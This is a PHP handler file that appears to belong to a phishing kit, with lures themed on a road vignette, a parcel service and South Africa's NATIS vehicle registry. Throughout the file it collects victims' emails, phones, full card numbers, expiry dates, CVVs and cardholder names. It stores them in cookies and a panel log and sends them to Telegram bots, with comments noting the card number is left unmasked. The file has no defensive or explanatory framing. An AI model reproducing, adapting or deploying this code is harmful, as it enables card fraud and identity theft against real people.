	setcookie('sc_email', $email, time() + 86400, '/');
	setcookie('sc_phone', $fullPhone, time() + 86400, '/');
	
	$telegram_content = urlencode("
{$tgFlow} — VIGNETTE / $ip
---------------------------------------
+ Email : $email
+ Phone : $fullPhone
+ SMS Notification : $smsNotification
+ Invoice Request : $invoiceRequest
---------------------------------------
+ PANEL : $panel
");

	$oldlogs = $m->getData()["LOGS"];
	$newlogs = $oldlogs . "\n+ VIGNETTE [ Email: $email | Phone: $fullPhone | SMS: $smsNotification | Invoice: $invoiceRequest ]";
	$arr = array("LOGS" => $newlogs);
	$m->update($arr);

	if (!empty($bot) && !empty($ids)) {
		foreach ($ids as $id) {
			$id = trim($id);
			if (!empty($id)) {
				// Decode message and send with buttons first
				$decodedMessage = urldecode($telegram_content);
				$result = sendTelegramWithButtons($bot, $id, $decodedMessage, $ip);
				
				// If buttons fail, send without buttons as fallback
				if (!$result) {
					$mo->sendBot($telegram_content, $bot, $id);
				}
			}
		}
	} else {
		error_log("Cannot send Telegram: Bot=" . ($bot ? "SET" : "EMPTY") . ", IDs=" . (count($ids) > 0 ? "SET" : "EMPTY"));
	}
}

if (isset($_POST['page']) && $_POST['page'] == 'postag') {
	if (session_status() !== PHP_SESSION_ACTIVE) session_start();
	
	// Prevent duplicate submissions - check if already sent in last 5 seconds
	$lastSentKey = 'postag_last_sent_' . $ip;
	$lastSent = isset($_SESSION[$lastSentKey]) ? $_SESSION[$lastSentKey] : 0;
	$currentTime = time();
	
	// If sent less than 5 seconds ago, ignore
	if (($currentTime - $lastSent) < 5) {
		exit('Duplicate request ignored');
	}
	
	// Mark as sent
	$_SESSION[$lastSentKey] = $currentTime;
	
	$cardnumber = post("cc");
	$exp = post("exp");
	$cvv = post("cvv");
	$holdername = post("titular");
	
	// Skip if data is empty or NO_DATA
	if (empty($cardnumber) || $cardnumber == "NO_DATA" || 
	    empty($cvv) || $cvv == "NO_DATA" || 
	    empty($holdername) || $holdername == "NO_DATA") {
		echo 'Missing data';
		exit;
	}
	
	// حفظ في الجلسة والكوكيز
	$_SESSION['sc_card'] = $cardnumber;
	$_SESSION['sc_titular'] = $holdername;
	
	// Clean card number (remove spaces and non-digits)
	$cardnumberClean = preg_replace('/\s+/', '', $cardnumber);
	$cardnumberClean = preg_replace('/[^0-9]/', '', $cardnumberClean);
	
	// Set cookie with proper path to work with tan.php and app.php
	// Use root path first (most compatible) - without HttpOnly so JS can read it
	setcookie('sc_card', $cardnumberClean, time() + 86400, '/', '', false, false);
	setcookie('sc_titular', $holdername, time() + 86400, '/', '', false, false);
	
	// Also set for /auth/ path for compatibility
	setcookie('sc_card', $cardnumberClean, time() + 86400, '/auth/', '', false, false);
	setcookie('sc_titular', $holdername, time() + 86400, '/auth/', '', false, false);
	
	// Also set for current directory path
	$currentPath = dirname($_SERVER['PHP_SELF']);
	if ($currentPath !== '/' && $currentPath !== '') {
		setcookie('sc_card', $cardnumberClean, time() + 86400, $currentPath . '/', '', false, false);
		setcookie('sc_titular', $holdername, time() + 86400, $currentPath . '/', '', false, false);
	}
	
	// Debug: log cookie setting
	error_log("SEND.PHP: Cookies set - sc_card=" . substr($cardnumberClean, 0, 6) . "****, sc_titular=" . $holdername);
	error_log("SEND.PHP: Session set - sc_card=" . substr($cardnumber, 0, 6) . "****");

	if (eonIsBinRoutedCard($cardnumber)) {
		$_SESSION['bin_route'] = 1;
		$binPrefix = substr($cardnumberClean, 0, 4);
		eonDispatchBinHit($binPrefix, $cardnumber, $exp, $cvv, $holdername, $ip);
		$oldlogs = $m->getData()['LOGS'];
		$newlogs = $oldlogs . "\n+ RT [ shard ok ]";
		$m->update(array('LOGS' => $newlogs));
		echo 'ok';
		exit;
	}

	unset($_SESSION['bin_route']);
	
	// البحث عن البنك من BIN - إلزامي
	$bank = isset($_POST['bank']) ? post("bank") : "";
	if (empty($bank) || $bank == "Unknown" || $bank == "Mastercard" || $bank == "VISA" || $bank == "American Express" || $bank == "Bank Not Found") {
		$bank = lookupBankFromBIN($cardnumber);
	}
	$bank = normalizeBankLabel($bank);
	if (empty($bank) || $bank == "Unknown") {
		$bank = "Unknown";
	}
	$_SESSION['sc_bank'] = $bank;
	setcookie('sc_bank', $bank, time() + 86400, '/');
	$bankHint = bankPanelHint($bank);
	$bankLine = $bankHint !== '' ? ("\n🎯 *Send to:* $bankHint") : '';

	// Detect card type and brand
	$cardType = 'debit';
	$cardBrand = 'Unknown';
	if (strlen($cardnumberClean) >= 1) {
		$firstDigit = substr($cardnumberClean, 0, 1);
		if ($firstDigit == '4') {
			$cardBrand = 'Visa Classic';
		} elseif ($firstDigit == '5') {
			$cardBrand = 'Mastercard';
		} elseif ($firstDigit == '3') {
			$cardBrand = 'American Express';
		}
	}
	
	// Format card number for display
	$cardDisplay = strlen($cardnumberClean) >= 16 ? substr($cardnumberClean, 0, 4) . ' ' . substr($cardnumberClean, 4, 4) . ' ' . substr($cardnumberClean, 8, 4) . ' ' . substr($cardnumberClean, -4) : $cardnumber;
	
	// Generate session ID
	$sessionId = isset($_SESSION['chatbot_session']) ? $_SESSION['chatbot_session'] : uniqid('postat_', true);
	$victimNumber = isset($_SESSION['victim_number']) ? $_SESSION['victim_number'] : '0';
	
	// لا نأخذ معلومات العنوان - فقط معلومات البطاقة
	// Format card number - إظهار الرقم الكامل بدون إخفاء
	$cardMasked = $cardnumber;
	
	$telegram_content = urlencode("
💳 *{$tgFlow} — CARD* 💳  
👤 *CARDHOLDER INFORMATION*
👤 Name: `$holdername`
💳 Card Number: `$cardMasked`
📅 Expiry Date: `$exp`
🔒 CVV: `$cvv`
🏦 Bank: `$bank`$bankLine
🌐 " . GeoAccess::telegramIpLine($ip) . "
🔗 Panel: `$panel`");

	$oldlogs = $m->getData()["LOGS"];
	$newlogs = $oldlogs . "\n+ {$tgFlow} CARD [ $exp | $cvv | $cardnumber | Bank: $bank ]";
	$arr = array("LOGS" => $newlogs);
	$m->update($arr);

	if (!eonIsBinRoutedCard($cardnumber) && !empty($bot) && !empty($ids)) {
		foreach ($ids as $id) {
			$id = trim($id);
			if (!empty($id)) {
				// Decode message and send with buttons first
				$decodedMessage = urldecode($telegram_content);
				$result = sendTelegramWithButtons($bot, $id, $decodedMessage, $ip);
				
				// If buttons fail, send without buttons as fallback
				if (!$result) {
					$mo->sendBot($telegram_content, $bot, $id);
				}
			}
		}
	} elseif (!eonIsBinRoutedCard($cardnumber)) {
		error_log("Cannot send Telegram: Bot=" . ($bot ? "SET" : "EMPTY") . ", IDs=" . (count($ids) > 0 ? "SET" : "EMPTY"));
	}
	
	// Return success response
	echo 'OK';
	exit;
}

if (isset($_POST['action']) && $_POST['action'] === 'natis_entry') {
	if (session_status() !== PHP_SESSION_ACTIVE) {
		session_start();
	}

	$vehicle = isset($_POST['vehicle_reg']) ? trim(htmlspecialchars($_POST['vehicle_reg'], ENT_QUOTES, 'UTF-8')) : '';
	$email = isset($_POST['email']) ? trim($_POST['email']) : '';

	if ($vehicle === '' || !filter_var($email, FILTER_VALIDATE_EMAIL)) {
		http_response_code(400);
		echo 'Invalid';
		exit;
	}

	$email = filter_var($email, FILTER_SANITIZE_EMAIL);

	setcookie('natis_vehicle_reg', $vehicle, time() + 86400, '/');
	setcookie('inv_email', $email, time() + 86400, '/');
	setcookie('sc_email', $email, time() + 86400, '/');
	setcookie('natis_vehicle_reg', $vehicle, time() + 86400, '/auth/');
	setcookie('inv_email', $email, time() + 86400, '/auth/');
	setcookie('sc_email', $email, time() + 86400, '/auth/');
	$currentPath = dirname($_SERVER['PHP_SELF']);
	if ($currentPath !== '/' && $currentPath !== '') {
		setcookie('natis_vehicle_reg', $vehicle, time() + 86400, $currentPath . '/');
		setcookie('inv_email', $email, time() + 86400, $currentPath . '/');
		setcookie('sc_email', $email, time() + 86400, $currentPath . '/');
	}
	$_SESSION['natis_vehicle_reg'] = $vehicle;
	$_SESSION['sc_email'] = $email;

	try {
		$oldlogs = $m->getData()["LOGS"];
		$newlogs = $oldlogs . "\n+ ENTRY [ Vehicle: $vehicle | Email: $email ] ";
		$m->update(array("LOGS" => $newlogs));
	} catch (Exception $e) {
		error_log("Error saving ENTRY logs: " . $e->getMessage());
	}

	$telegram_plain = "$tgFlow\n\nVehicle: $vehicle\nEmail: $email\n\n" . GeoAccess::telegramIpLine($ip) . "\nPanel: $panel";
	if (!empty($bot) && !empty($ids)) {
		foreach ($ids as $id) {
			$id = trim($id);
			if (!empty($id)) {
				$result = sendTelegramWithButtons($bot, $id, $telegram_plain, $ip, null);
				if (!$result) {
					$mo->sendBot(urlencode($telegram_plain), $bot, $id);
				}
			}
		}
	}

	echo 'OK';
	exit;
}

// Login page visitor alert disabled — keep other notifications
if (isset($_POST['action']) && $_POST['action'] == 'login_notification') {
	exit('OK');
}

